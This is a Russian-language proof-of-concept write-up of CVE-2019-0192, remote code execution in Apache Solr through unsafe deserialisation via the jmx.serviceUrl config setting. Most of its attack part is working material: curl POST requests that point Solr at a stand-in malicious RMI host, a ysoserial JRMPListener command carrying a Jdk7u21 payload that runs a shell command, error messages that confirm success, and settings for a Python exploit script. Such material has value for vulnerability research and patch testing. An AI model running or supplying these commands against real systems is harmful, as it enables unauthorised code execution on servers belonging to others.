
RCE на Apache Solr с использованием десериализации недоверенных данных через jmx.serviceUrl
Это ранний PoC (доказательство концепции) уязвимости удаленного выполнения кода Apache Solr
Из https://issues.apache.org/jira/browse/SOLR-13301:
ConfigAPI позволяет настраивать JMX-сервер Solr с помощью HTTP POST-запроса. Направив его на вредоносный RMI-сервер, злоумышленник может воспользоваться небезопасной десериализацией Solr для выполнения произвольного кода на стороне Solr.

Изучив описание уведомления о безопасности и проверив ConfigAPI ресурсы Apache Solr, мы можем найти ссылку на JMX-сервер:

serviceUrl - (необязательная строка) URL-адрес службы для JMX-сервера. Если не указан, будет использоваться сервер MBean платформы по умолчанию.
Проверив работу ConfigAPI, мы можем воспроизвести, как задать удаленный JMX-сервер:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Для PoC я буду использовать yoserial для создания вредоносного RMI-сервера с полезной нагрузкой Jdk7u21
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Примечание: вы должны получить ошибку 500 с подробным стеком вызовов.
Если вы увидели эту ошибку: "Non-annotation type in annotation serial stream" это означает, что Apache Solr работает с версией Java выше JRE 7u25, и этот PoC не сработает.
В противном случае вы должны увидеть эту ошибку: "undeclared checked exception; nested exception is" и PoC должен сработать.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
Уведомление о безопасности: